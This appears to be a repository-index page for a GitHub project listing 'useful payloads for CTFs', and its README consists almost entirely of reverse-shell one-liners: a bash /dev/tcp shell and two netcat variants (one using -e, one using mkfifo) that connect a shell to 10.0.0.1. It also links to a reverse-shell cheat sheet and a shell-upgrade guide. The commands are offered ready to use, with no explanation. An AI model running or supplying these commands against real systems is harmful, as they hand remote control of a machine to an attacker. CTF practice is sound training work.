https://github.com/dethada/payloads
💣 Useful payloads for CTFs
https://github.com/dethada/payloads
Last synced: about 2 months ago
JSON representation
💣 Useful payloads for CTFs
- Host: GitHub
- URL: https://github.com/dethada/payloads
- Owner: Dethada
- License: mit
- Created: 2018-06-13T17:16:37.000Z (almost 8 years ago)
- Default Branch: master
- Last Pushed: 2019-01-16T12:52:51.000Z (over 7 years ago)
- Last Synced: 2025-02-23T03:54:45.464Z (over 1 year ago)
- Language: PHP
- Homepage:
- Size: 27.3 KB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# Payloads
## Bash
```bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```
## Netcat
```bash
# if -e option is supported
nc -e /bin/sh 10.0.0.1 1234
# if -e is not supported
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
```
[Cheatsheet](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)
[Upgrade Shell](https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/)